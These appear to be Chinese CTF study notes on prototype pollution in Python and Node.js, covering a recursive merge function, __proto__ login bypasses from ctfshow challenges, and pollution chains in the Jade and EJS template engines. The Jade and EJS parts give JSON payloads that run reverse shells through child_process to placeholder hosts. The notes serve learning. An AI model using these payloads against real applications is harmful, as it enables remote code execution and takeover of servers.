原型链污染(更新中)
python原型链污染 简介: Python原型链污染是对类属性值的污染,且只能对类的属性来进行污染而不能够污染类的方法。
代码 1 2 3 4 5 6 7 8 9 10 11 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
hasatter(object,name)
两个参数,一个object
对象,另一个是字符串。如果字符串是对象的一个属性,则返回True,否则返回False。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def merge (src, dst ): """ 递归地将源字典 `src` 合并到目标对象 `dst` 中。 参数: - src (dict): 源字典,包含要合并的键值对。 - dst (object): 目标对象,可以是字典或具有属性的对象。 说明: - 如果 `dst` 是字典,则将 `src` 中的键值对合并到 `dst` 中。 - 如果 `dst` 是对象,则将 `src` 中的键值对作为属性合并到 `dst` 中。 - 如果 `src` 中的值是字典且 `dst` 中对应的值也是字典,则递归合并。 """ for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
可以通过对src
的控制,来实现dst
值的控制,达到污染目的。
示例用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 dst_dict = {'a' : 1 , 'b' : {'c' : 2 }} src_dict = {'b' : {'d' : 3 }, 'e' : 4 } merge(src_dict, dst_dict)print (dst_dict) class MyClass : pass dst_obj = MyClass() dst_obj.a = 1 dst_obj.b = MyClass() dst_obj.b.c = 2 src_dict = {'b' : {'d' : 3 }, 'e' : 4 } merge(src_dict, dst_obj)print (dst_obj.a) print (dst_obj.b.c) print (dst_obj.b.d) print (dst_obj.e)
解释:
merge
函数可以处理字典到字典的合并,也可以处理字典到对象的合并。
如果目标对象是字典,则直接更新字典中的键值对。
如果目标对象是普通对象,则将字典中的键值对作为属性设置到对象中。
如果遇到嵌套的字典,则会递归地进行合并。
nodejs 原型污染原理
子类通过__protp__
执行父类,可以给父类增加没有的属性
1 2 3 4 5 6 7 8 9 10 var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); }
object
1 2 3 4 5 { "username" : "admin" , "password" : "123123" , "__proto__" : { "ctfshow" : "36dboy" } }
原型污染的原理
本来object对象没有ctfshow属性
通过user对象执行父类的__proto__
属性,拿到了object对象的引用
然后给object对象 增加了一个ctfshow属性,赋值为了36dboy
然后,当访问secret对象的ctfshow属性时,由于自己没有ctfshow属性
就去父类也就是object类去找secret,刚好有,就拿出来用了
{ // 使用 IntelliSense 了解相关属性。 // 悬停以查看现有属性的描述。 // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387 “version”: “0.2.0”, “configurations”: [ { “type”: “node”, “request”: “launch”, “name”: “Launch Program”, “skipFiles”: [ “/**” ], “program”: “${workspaceFolder}\app\app2.js” } ] }
web96 关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; }; utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ return res.json ({ret_code : 0 , ret_msg : '登录成功' }); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); }
jade模板污染链
1 2 3 4 5 6 7 8 9 10 11 { "__proto__" : { "__proto__" : { "type" : "Block" , "nodes" : "" , "compileDebug" : 1 , "self" : 1 , "line" : "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-shell.com/3389 0>&1\"')" } } }
我们通过原型污染,修改了模板的某个属性的值
然后模板引用里面的字符串,实现了Nodejs的代码执行
ejs的模板污染
1 {"__proto__" :{"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2" }}}
1 {"__proto__" :{"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/http://ip/2333 0>&1\"');var __tmp2" }}}
原型链学习
继承与原型链 - JavaScript | MDN